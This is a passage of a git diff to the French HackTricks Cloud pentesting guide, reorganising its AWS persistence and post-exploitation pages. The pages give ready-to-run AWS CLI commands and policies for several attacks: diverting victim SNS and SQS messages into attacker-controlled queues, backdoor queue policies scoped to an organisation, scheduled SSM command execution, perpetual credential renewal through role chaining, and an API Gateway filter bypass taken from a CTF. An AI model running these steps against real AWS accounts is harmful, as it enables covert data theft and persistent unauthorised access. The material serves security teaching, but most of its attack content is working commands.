--topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN +``` + +- Configurer le filtre pour opérer sur le message body et ne faire correspondre que `secret=true` : + +```bash +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}' +``` + +- Option stealth : activer le raw delivery pour que seul le payload brut arrive chez le destinataire : + +```bash +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true +``` + +- Validation : publier deux messages et confirmer que seul le premier est livré à la queue de l'attaquant. Payloads exemples : + +```json +{"secret":"true","data":"exfil"} +{"secret":"false","data":"benign"} +``` + +- Nettoyage : unsubscribe et supprimer la queue SQS de l'attaquant si elle a été créée pour les tests de persistence. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md deleted file mode 100644 index 88208c179..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - SQS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### Utilisation de la politique de ressources - -Dans SQS, vous devez indiquer avec une politique IAM **qui a accès à lire et écrire**. Il est possible d'indiquer des comptes externes, l'ARN de rôles, ou **même "\*"**.\ -La politique suivante donne à tout le monde dans AWS accès à tout dans la file d'attente appelée **MyTestQueue** : -```json -{ -"Version": "2008-10-17", -"Id": "__default_policy_ID", -"Statement": [ -{ -"Sid": "__owner_statement", -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": ["SQS:*"], -"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" -} -] -} -``` -> [!NOTE] -> Vous pourriez même **déclencher une Lambda dans le compte de l'attaquant chaque fois qu'un nouveau message** est mis dans la file d'attente (vous devrez le remettre) d'une manière ou d'une autre. Pour cela, suivez ces instructions : [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md new file mode 100644 index 000000000..5039846bd --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md @@ -0,0 +1,47 @@ +# AWS - SQS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Pour plus d'informations, voir : + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### Using resource policy + +Dans SQS vous devez indiquer avec une IAM policy **qui a accès en lecture et en écriture**. Il est possible d'indiquer des comptes externes, l'ARN de roles, ou **même "\*"**.\ +La policy suivante donne à tout le monde sur AWS l'accès à tout dans la queue appelée **MyTestQueue**: +```json +{ +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__owner_statement", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": ["SQS:*"], +"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" +} +] +} +``` +> [!NOTE] +> Vous pouvez même **déclencher une Lambda dans l'account de l'attacker chaque fois qu'un nouveau message** est mis dans la queue (vous devrez le re-put). Pour cela, suivez ces instructions : [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) + +### Autres techniques de persistance SQS + +{{#ref}} +aws-sqs-dlq-backdoor-persistence.md +{{#endref}} + +{{#ref}} +aws-sqs-orgid-policy-backdoor.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md new file mode 100644 index 000000000..9c55a8ec1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md @@ -0,0 +1,71 @@ +# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy + +{{#include ../../../../banners/hacktricks-training.md}} + +Abuser les SQS Dead-Letter Queues (DLQs) pour siphonner discrètement des données d'une file d'attente source victime en pointant sa RedrivePolicy vers une file d'attente contrôlée par l'attaquant. Avec un maxReceiveCount faible et en provoquant ou en attendant des échecs de traitement normaux, les messages sont automatiquement détournés vers le DLQ de l'attaquant sans modifier les producteurs ni les Lambda event source mappings. + +## Permissions abusées +- sqs:SetQueueAttributes on the victim source queue (to set RedrivePolicy) +- sqs:SetQueueAttributes on the attacker DLQ (to set RedriveAllowPolicy) +- Optional for acceleration: sqs:ReceiveMessage on the source queue +- Optional for setup: sqs:CreateQueue, sqs:SendMessage + +## Flux dans le même compte (allowAll) + +Préparation (compte attaquant ou principal compromis): +```bash +REGION=us-east-1 +# 1) Create attacker DLQ +ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text) +ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# 2) Allow any same-account source queue to use this DLQ +aws sqs set-queue-attributes \ +--queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}' +``` +Exécution (exécuter en tant que principal compromis dans le compte victime) : +```bash +# 3) Point victim source queue to attacker DLQ with low retries +VICTIM_SRC_URL= +ATTACKER_DLQ_ARN= +aws sqs set-queue-attributes \ +--queue-url "$VICTIM_SRC_URL" --region $REGION \ +--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}' +``` +Accélération (optionnelle): +```bash +# 4) If you also have sqs:ReceiveMessage on the source queue, force failures +for i in {1..2}; do \ +aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \ +--max-number-of-messages 10 --visibility-timeout 0; \ +done +``` +Validation : +```bash +# 5) Confirm messages appear in attacker DLQ +aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--max-number-of-messages 10 --attribute-names All --message-attribute-names All +``` +Exemple de preuve (les attributs incluent DeadLetterQueueSourceArn): +```json +{ +"MessageId": "...", +"Body": "...", +"Attributes": { +"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..." +} +} +``` +## Variante inter-compte (byQueue) +Définissez RedriveAllowPolicy sur le DLQ de l'attaquant pour n'autoriser que les ARNs des files d'attente source spécifiques de la victime: +```bash +VICTIM_SRC_ARN= +aws sqs set-queue-attributes \ +--queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}' +``` +## Impact +- Data exfiltration/persistence furtive et durable en détournant automatiquement les messages échoués d'une queue source SQS victime vers une DLQ contrôlée par l'attaquant, avec un bruit opérationnel minimal et sans modification des producers ni des Lambda mappings. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md new file mode 100644 index 000000000..f0ef65e36 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md @@ -0,0 +1,38 @@ +# AWS - SQS OrgID Policy Backdoor + +{{#include ../../../../banners/hacktricks-training.md}} + +Exploitez une resource policy d'une SQS queue pour accorder silencieusement Send, Receive et ChangeMessageVisibility à tout principal appartenant à une AWS Organization ciblée en utilisant la condition aws:PrincipalOrgID. Cela crée un chemin caché limité à l'organisation qui échappe souvent aux contrôles qui ne recherchent que des ARNs de comptes ou de rôles explicites ou des star principals. + +### Backdoor policy (attach to the SQS queue policy) +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OrgScopedBackdoor", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"sqs:ReceiveMessage", +"sqs:SendMessage", +"sqs:ChangeMessageVisibility", +"sqs:GetQueueAttributes" +], +"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME", +"Condition": { +"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" } +} +} +] +} +``` +### Étapes +- Obtenir l'Organization ID via AWS Organizations API. +- Récupérer l'ARN de la queue SQS et définir la queue policy incluant l'énoncé ci‑dessus. +- Depuis n'importe quel principal appartenant à cette Organization, envoyer et recevoir un message dans la queue pour valider l'accès. + +### Impact +- Accès caché à l'échelle de l'Organization permettant de lire et écrire des messages SQS depuis n'importe quel compte de l'AWS Organization spécifié. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md deleted file mode 100644 index 01b28da94..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - SSM Perssitence - -{{#include ../../../banners/hacktricks-training.md}} - -## SSM - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md -{{#endref}} - -### Utilisation de ssm:CreateAssociation pour la persistance - -Un attaquant ayant la permission **`ssm:CreateAssociation`** peut créer une association de gestion d'état pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour s'exécuter à intervalles réguliers, les rendant adaptées à une persistance de type backdoor sans sessions interactives. -```bash -aws ssm create-association \ ---name SSM-Document-Name \ ---targets Key=InstanceIds,Values=target-instance-id \ ---parameters commands=["malicious-command"] \ ---schedule-expression "rate(30 minutes)" \ ---association-name association-name -``` -> [!NOTE] -> Cette méthode de persistance fonctionne tant que l'instance EC2 est gérée par Systems Manager, que l'agent SSM est en cours d'exécution et que l'attaquant a la permission de créer des associations. Elle ne nécessite pas de sessions interactives ni de permissions explicites ssm:SendCommand. **Important :** Le paramètre `--schedule-expression` (par exemple, `rate(30 minutes)`) doit respecter l'intervalle minimum de 30 minutes d'AWS. Pour une exécution immédiate ou unique, omettez complètement `--schedule-expression` — l'association s'exécutera une fois après sa création. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md new file mode 100644 index 000000000..0bb12987e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md @@ -0,0 +1,27 @@ +# AWS - SSM Perssitence + +{{#include ../../../../banners/hacktricks-training.md}} + +## SSM + +Pour plus d'informations, voir : + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +{{#endref}} + +### Utilisation de ssm:CreateAssociation pour persistence + +Un attaquant disposant de l'autorisation **`ssm:CreateAssociation`** peut créer une State Manager Association pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour s'exécuter à intervalles fixes, ce qui les rend adaptées à la backdoor-like persistence sans sessions interactives. +```bash +aws ssm create-association \ +--name SSM-Document-Name \ +--targets Key=InstanceIds,Values=target-instance-id \ +--parameters commands=["malicious-command"] \ +--schedule-expression "rate(30 minutes)" \ +--association-name association-name +``` +> [!NOTE] +> Cette méthode de persistance fonctionne tant que l'instance EC2 est gérée par Systems Manager, le SSM agent est en cours d'exécution, et que l'attaquant dispose de l'autorisation de créer des associations. Elle n'exige pas de sessions interactives ni de permissions explicites ssm:SendCommand. **Important :** le paramètre `--schedule-expression` (par ex., `rate(30 minutes)`) doit respecter l'intervalle minimum d'AWS de 30 minutes. Pour une exécution immédiate ou ponctuelle, omettez complètement `--schedule-expression` — l'association s'exécutera une fois après création. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md deleted file mode 100644 index f9d8198ae..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - Persistance des Step Functions - -{{#include ../../../banners/hacktricks-training.md}} - -## Step Functions - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### Backdooring des Step Functions - -Backdoor une step function pour qu'elle exécute n'importe quel truc de persistance, de sorte que chaque fois qu'elle est exécutée, elle exécutera vos étapes malveillantes. - -### Backdooring des alias - -Si le compte AWS utilise des alias pour appeler des step functions, il serait possible de modifier un alias pour utiliser une nouvelle version backdoorée de la step function. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md new file mode 100644 index 000000000..0e8b29cc5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md @@ -0,0 +1,21 @@ +# AWS - Step Functions Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### Step function Backdooring + +Backdoor a step function pour qu'elle exécute n'importe quel persistence trick : ainsi, à chaque exécution, elle lancera vos étapes malveillantes. + +### Backdooring aliases + +Si le compte AWS utilise des aliases pour appeler des step functions, il serait possible de modifier un alias pour qu'il utilise une nouvelle version backdoored du step function. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md similarity index 68% rename from src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md rename to src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md index 565d7440c..947a794ac 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md @@ -1,36 +1,36 @@ # AWS - STS Persistence -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## STS -Pour plus d'informations, accédez à : +Pour plus d'informations, consultez : {{#ref}} -../aws-services/aws-sts-enum.md +../../aws-services/aws-sts-enum.md {{#endref}} -### Jeton de rôle assumé +### Assume role token -Les jetons temporaires ne peuvent pas être listés, donc maintenir un jeton temporaire actif est un moyen de maintenir la persistance. +Les jetons temporaires ne peuvent pas être listés, donc maintenir un jeton temporaire actif est un moyen de conserver la persistance. 
aws sts get-session-token --duration-seconds 129600
 
-# Avec MFA
+# With MFA
 aws sts get-session-token \
 --serial-number  \
 --token-code 
 
-# Le nom de l'appareil matériel est généralement le numéro au dos de l'appareil, tel que GAHT12345678
-# Le nom de l'appareil SMS est l'ARN dans AWS, tel que arn:aws:iam::123456789012:sms-mfa/username
-# Le nom de l'appareil virtuel est l'ARN dans AWS, tel que arn:aws:iam::123456789012:mfa/username
+# Hardware device name is usually the number from the back of the device, such as GAHT12345678
+# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
+# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
-### Jonglage de chaînes de rôles +### Role Chain Juggling -[**Le chaînage de rôles est une fonctionnalité reconnue d'AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), souvent utilisée pour maintenir une persistance discrète. Cela implique la capacité d'**assumer un rôle qui en assume ensuite un autre**, pouvant potentiellement revenir au rôle initial de manière **cyclique**. Chaque fois qu'un rôle est assumé, le champ d'expiration des identifiants est actualisé. Par conséquent, si deux rôles sont configurés pour s'assumer mutuellement, cette configuration permet le renouvellement perpétuel des identifiants. +[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), souvent utilisé pour maintenir une persistance furtive. Cela implique la capacité de **assume a role which then assumes another**, pouvant revenir au rôle initial de manière **cyclique**. Chaque fois qu'un rôle est assumé, le champ d'expiration des identifiants est rafraîchi. Par conséquent, si deux rôles sont configurés pour s'assumer mutuellement, cette configuration permet le renouvellement perpétuel des identifiants. -Vous pouvez utiliser cet [**outil**](https://github.com/hotnops/AWSRoleJuggler/) pour continuer le chaînage de rôles : +Vous pouvez utiliser cet [**tool**](https://github.com/hotnops/AWSRoleJuggler/) pour maintenir le role chaining : ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] @@ -40,11 +40,11 @@ optional arguments: -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` > [!CAUTION] -> Notez que le script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) de ce dépôt Github ne trouve pas toutes les manières dont une chaîne de rôles peut être configurée. +> Notez que le script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) de ce dépôt Github ne trouve pas toutes les façons dont une chaîne de rôles peut être configurée.
-Code pour effectuer le Role Juggling depuis PowerShell +Code pour effectuer du Role Juggling depuis PowerShell ```bash # PowerShell script to check for role juggling possibilities using AWS CLI @@ -124,4 +124,4 @@ Write-Host "Role juggling check complete." ```
-{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md similarity index 53% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md index ba88d28b5..acecfda68 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md @@ -1,46 +1,46 @@ # AWS - API Gateway Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## API Gateway Pour plus d'informations, consultez : {{#ref}} -../aws-services/aws-api-gateway-enum.md +../../aws-services/aws-api-gateway-enum.md {{#endref}} -### Accéder aux API non exposées +### Accéder aux APIs non exposées -Vous pouvez créer un point de terminaison dans [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) avec le service `com.amazonaws.us-east-1.execute-api`, exposer le point de terminaison dans un réseau auquel vous avez accès (potentiellement via une machine EC2) et attribuer un groupe de sécurité permettant toutes les connexions.\ -Ensuite, depuis la machine EC2, vous pourrez accéder au point de terminaison et donc appeler l'API de la passerelle qui n'était pas exposée auparavant. +You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\ +Then, from the EC2 machine you will be able to access the endpoint and therefore call the API Gateway that wasn't exposed before. -### Contourner le passage du corps de la requête +### Bypass Request body passthrough -Cette technique a été trouvée dans [**ce compte rendu CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). +Cette technique a été trouvée dans [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). -Comme indiqué dans la [**documentation AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) dans la section `PassthroughBehavior`, par défaut, la valeur **`WHEN_NO_MATCH`**, lors de la vérification de l'en-tête **Content-Type** de la requête, transmettra la requête au back-end sans transformation. +Comme indiqué dans la [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) dans la section `PassthroughBehavior`, par défaut, la valeur **`WHEN_NO_MATCH`**, lors de la vérification de l'en-tête **Content-Type** de la requête, transmettra la requête au back end sans transformation. -Par conséquent, dans le CTF, la passerelle API avait un modèle d'intégration qui **empêchait le drapeau d'être exfiltré** dans une réponse lorsqu'une requête était envoyée avec `Content-Type: application/json` : +Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`: ```yaml RequestTemplates: application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` -Cependant, l'envoi d'une requête avec **`Content-type: text/json`** empêcherait ce filtre. +Cependant, l'envoi d'une requête avec **`Content-type: text/json`** contournerait ce filtre. -Enfin, comme l'API Gateway n'autorisait que `Get` et `Options`, il était possible d'envoyer une requête dynamoDB arbitraire sans aucune limite en envoyant une requête POST avec la requête dans le corps et en utilisant l'en-tête `X-HTTP-Method-Override: GET`: +Enfin, comme l'API Gateway n'autorisait que `Get` et `Options`, il était possible d'envoyer une requête dynamoDB arbitraire sans aucune limite en envoyant une requête POST avec la requête dans le corps et en utilisant l'en-tête `X-HTTP-Method-Override: GET` : ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` -### Plans d'utilisation DoS +### Usage Plans DoS -Dans la section **Énumération**, vous pouvez voir comment **obtenir le plan d'utilisation** des clés. Si vous avez la clé et qu'elle est **limitée** à X utilisations **par mois**, vous pourriez **simplement l'utiliser et provoquer un DoS**. +Dans la section **Énumération** vous pouvez voir comment **obtenir le plan d'utilisation** des clés. Si vous avez la clé et qu'elle est **limitée** à X utilisations **par mois**, vous pouvez **simplement l'utiliser et provoquer un DoS**. -La **clé API** doit simplement être **incluse** dans un **en-tête HTTP** appelé **`x-api-key`**. +L'**API Key** doit simplement être **inclue** dans un **HTTP header** appelé **`x-api-key`**. ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` -Un attaquant avec les permissions `apigateway:UpdateGatewayResponse` et `apigateway:CreateDeployment` peut **modifier une réponse de passerelle existante pour inclure des en-têtes personnalisés ou des modèles de réponse qui divulguent des informations sensibles ou exécutent des scripts malveillants**. +Un attaquant disposant des permissions `apigateway:UpdateGatewayResponse` et `apigateway:CreateDeployment` peut **modifier une Gateway Response existante pour inclure des en-têtes personnalisés ou des templates de réponse qui leak des informations sensibles ou exécutent des scripts malveillants**. ```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" @@ -51,14 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Impact potentiel** : Fuite d'informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources API. +**Impact potentiel** : Divulgation d'informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources API. > [!NOTE] -> Besoin de tests +> Nécessite des tests ### `apigateway:UpdateStage`, `apigateway:CreateDeployment` -Un attaquant disposant des autorisations `apigateway:UpdateStage` et `apigateway:CreateDeployment` peut **modifier une étape API Gateway existante pour rediriger le trafic vers une autre étape ou changer les paramètres de mise en cache pour obtenir un accès non autorisé aux données mises en cache**. +Un attaquant disposant des permissions `apigateway:UpdateStage` et `apigateway:CreateDeployment` peut **modifier un stage existant d'API Gateway pour rediriger le trafic vers un autre stage ou modifier les paramètres de mise en cache afin d'obtenir un accès non autorisé aux données mises en cache**. ```bash API_ID="your-api-id" STAGE_NAME="Prod" @@ -72,11 +72,11 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod **Impact potentiel** : Accès non autorisé aux données mises en cache, perturbation ou interception du trafic API. > [!NOTE] -> Besoin de tests +> Nécessite des tests ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` -Un attaquant ayant les permissions `apigateway:PutMethodResponse` et `apigateway:CreateDeployment` peut **modifier la réponse de méthode d'une méthode API Gateway REST API existante pour inclure des en-têtes personnalisés ou des modèles de réponse qui divulguent des informations sensibles ou exécutent des scripts malveillants**. +Un attaquant disposant des permissions `apigateway:PutMethodResponse` et `apigateway:CreateDeployment` peut **modifier le method response d'une méthode existante d'API Gateway REST API pour inclure des custom headers ou des response templates qui leak des informations sensibles ou exécutent des scripts malveillants**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Impact potentiel** : Fuite d'informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources API. +**Impact potentiel**: Leakage d'informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources de l'API. > [!NOTE] -> Besoin de tests +> Nécessite des tests ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` -Un attaquant disposant des autorisations `apigateway:UpdateRestApi` et `apigateway:CreateDeployment` peut **modifier les paramètres de l'API Gateway REST API pour désactiver la journalisation ou changer la version minimale de TLS, affaiblissant potentiellement la sécurité de l'API**. +Un attaquant disposant des permissions `apigateway:UpdateRestApi` et `apigateway:CreateDeployment` peut **modifier les paramètres de l'API REST d'API Gateway pour désactiver la journalisation ou changer la version minimale de TLS, affaiblissant potentiellement la sécurité de l'API**. ```bash API_ID="your-api-id" @@ -106,14 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Impact potentiel** : Affaiblissement de la sécurité de l'API, permettant potentiellement un accès non autorisé ou exposant des informations sensibles. +**Impact potentiel** : Affaiblissement de la sécurité de l'API, pouvant permettre un accès non autorisé ou exposer des informations sensibles. > [!NOTE] -> Besoin de tests +> Nécessite des tests ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` -Un attaquant avec les autorisations `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, et `apigateway:CreateUsagePlanKey` peut **créer de nouvelles clés API, les associer à des plans d'utilisation, puis utiliser ces clés pour un accès non autorisé aux APIs**. +Un attaquant disposant des permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, et `apigateway:CreateUsagePlanKey` peut **créer de nouvelles clés API, les associer à des plans d'utilisation, puis utiliser ces clés pour accéder aux API sans autorisation**. ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') @@ -124,9 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp # Associate the API key with the usage plan aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY ``` -**Impact potentiel** : Accès non autorisé aux ressources API, contournement des contrôles de sécurité. +**Potential Impact**: Accès non autorisé aux ressources API, contournement des contrôles de sécurité. > [!NOTE] -> Besoin de tests +> Nécessite des tests -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md deleted file mode 100644 index 7bfede9ce..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ /dev/null @@ -1,31 +0,0 @@ -# AWS - CloudFront Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## CloudFront - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-cloudfront-enum.md -{{#endref}} - -### Man-in-the-Middle - -Ce [**post de 